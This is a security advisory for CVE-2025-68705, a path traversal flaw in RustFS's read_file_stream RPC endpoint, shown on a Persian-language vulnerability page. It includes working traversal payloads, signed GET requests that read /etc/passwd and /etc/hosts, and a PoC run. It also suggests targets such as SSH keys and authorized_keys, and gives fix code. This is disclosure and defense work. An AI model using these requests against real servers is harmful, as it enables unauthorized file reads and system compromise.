همهٔ گزارش‌ها
زیاد

RustFS Path Traversal Vulnerability

متن اصلی

نسخه‌های متأثر

Rust / Cargorustfs
نسخه‌های متأثر
>= 1.0.0-alpha.13, <= 1.0.0-alpha.78
نسخهٔ اصلاح‌شده
1.0.0-alpha.79

بهره‌برداری

CVE-2025-68705

احتمال بهره‌برداری در ۳۰ روز آینده: 7.26%

FIRST EPSS · ۱۴۰۵/۰۸/۲۷

شرح آسیب‌پذیری

RustFS Path Traversal Vulnerability

Vulnerability Details

  • CVE ID:

  • Severity: Critical (CVSS estimated 9.9)

  • Impact: Arbitrary File Read/Write

  • Component: /rustfs/rpc/read_file_stream endpoint

  • Root Cause: Insufficient path validation in crates/ecstore/src/disk/local.rs:1791

Vulnerable Code
// local.rs:1791 - No path sanitization!
let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS!
check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length
let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;

The code uses PathBuf::join() without:

  • Canonicalization

  • Path boundary validation

  • Protection against ../ sequences

  • Protection against absolute paths

Proof of Concept

Test Environment
  • Target: RustFS v0.0.5 (Docker container)

  • Endpoint: http://localhost:9000/rustfs/rpc/read_file_stream

  • RPC Secret: rustfsadmin (from RUSTFS_SECRET_KEY)

  • Disk ID: /data/rustfs0

  • Volume: .rustfs.sys

Attack Scenario
Exploit Parameters
disk: /data/rustfs0
volume: .rustfs.sys
path: ../../../../etc/passwd  # Path traversal payload
offset: 0
length: 751  # Must match file size
Required Authentication

RPC requests require HMAC-SHA256 signature:

# Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}")
Headers:
  x-rustfs-signature: Base64(HMAC-SHA256(secret, data))
  x-rustfs-timestamp: Unix timestamp
Successful Exploits
1. Read /etc/passwd ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751
x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=
x-rustfs-timestamp: 1766482485

Response: HTTP 200 OK

Content Retrieved:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[... 15 more lines ...]
rustfs:x:10001:10001::/home/rustfs:/sbin/nologin

Impact: Full user account enumeration


2. Read /etc/hosts ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172

Response: HTTP 200 OK

Content Retrieved:

127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
[...]
172.20.0.3	d25e05a19bd2

Impact: Network configuration disclosure


3. Read /etc/hostname ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13

Response: HTTP 200 OK

Content Retrieved:

d25e05a19bd2

Impact: System information disclosure


Technical Analysis

Data Flow
1. HTTP Request
   ↓
2. RPC Signature Verification (verify_rpc_signature)
   ↓
3. Find Disk (find_local_disk)
   ↓
4. Read File Stream (disk.read_file_stream)
   ↓
5. VULNERABLE: volume_dir.join(Path::new(&path))
   ↓
6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd
              → /etc/passwd
Path Traversal Mechanism
// Example traversal:
volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys")
path = "../../../../etc/passwd"

// PathBuf::join() resolves to:
file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd"
          = "/etc/passwd"  // Successfully escaped!
Why It Works
  1. No Canonicalization: Code doesn't use canonicalize() before validation

  2. No Boundary Check: No verification that final path is within volume_dir

  3. PathBuf::join() Behavior: Automatically resolves ../ sequences

  4. Length-Only Validation: check_path_length() only checks string length

Special Considerations
  • File Size Constraint: The length parameter must exactly match file size

    • Code validates: file.len() >= offset + length

    • Otherwise returns DiskError::FileCorrupt

  • Volume Requirement: Volume/bucket must exist (e.g., .rustfs.sys)

  • Disk Requirement: Disk must be registered in GLOBAL_LOCAL_DISK_MAP

Impact Assessment

Confidentiality Impact: HIGH
  • ✅ Read arbitrary files (demonstrated)

  • ✅ Read system configuration files (/etc/passwd, /etc/hosts)

  • ⚠️ Potential to read:

    • SSH keys (/root/.ssh/id_rsa)

    • Application secrets

    • RustFS configuration files

    • Environment variables from /proc

Integrity Impact: HIGH
  • ⚠️ Similar vulnerability exists in put_file_stream (not tested)

  • ⚠️ Arbitrary file write likely possible

  • ⚠️ Could write to:

    • Cron jobs

    • authorized_keys

    • System binaries (if permissions allow)

Availability Impact: MEDIUM
  • ⚠️ walk_dir endpoint could enumerate entire filesystem

  • ⚠️ Potential DoS via recursive directory traversal

Exploitation Requirements

Prerequisites
  1. Network Access: Ability to reach RustFS RPC endpoints

  2. RPC Secret Knowledge: Knowledge of RUSTFS_SECRET_KEY

    • Default: "rustfs-default-secret"

    • Production: From environment variable or config

  3. Disk/Volume Knowledge: Valid disk ID and volume name

  4. File Size Knowledge: Exact file sizes for successful reads

Attack Complexity
  • Without Secret: Impossible (signature verification)

  • With Secret: Trivial (automated script)

  • With Default Secret: Critical risk if not changed

Mitigation Recommendations

Immediate Actions (Priority 0)
  1. Path Canonicalization

async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> {
    let volume_dir = self.get_bucket_path(volume)?;

    // CRITICAL FIX:
    let file_path = volume_dir.join(Path::new(&path));
    let canonical = file_path.canonicalize()
        .map_err(|_| DiskError::FileNotFound)?;

    // Validate path is within volume_dir
    if !canonical.starts_with(&volume_dir) {
        error!("Path traversal attempt detected: {:?}", path);
        return Err(DiskError::InvalidArgument);
    }

    // Continue with validated path...
}
  1. Path Component Validation

// Reject dangerous path components
if path.contains("..") || path.starts_with('/') {
    return Err(DiskError::InvalidArgument);
}
  1. Use path-clean Crate

use path_clean::PathClean;

let cleaned_path = PathBuf::from(&path).clean();
if cleaned_path.to_string_lossy().contains("..") {
    return Err(DiskError::InvalidArgument);
}
Additional Security Measures
  1. Audit Logging: Log all RPC file operations with full paths

  2. Rate Limiting: Prevent DoS via repeated RPC calls

  3. Secret Rotation: Ensure unique RPC secrets per deployment

  4. Network Segmentation: Restrict RPC endpoint access

  5. Security Testing: Add path traversal tests to test suite

Long-term Improvements
  1. Chroot Jail: Isolate RPC operations in chroot environment

  2. Least Privilege: Run RustFS with minimal file system permissions

  3. Security Audit: Comprehensive review of all file operations

Proof of Concept Script

The complete PoC is available at: exploit_path_traversal.py

Usage
# Ensure RustFS is running
docker compose ps

# Run exploit
python3 exploit_path_traversal.py
Output
[+] SUCCESS! Read 751 bytes
[+] File content:
================================================================================
root:x:0:0:root:/root:/bin/sh
[... full /etc/passwd content ...]
================================================================================

Acknowledgements

RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.

Acknowledgements: RustFS would like to thank @realansgar and bilisheep from the Xmirror Security Team for providing the security report.

پیوندها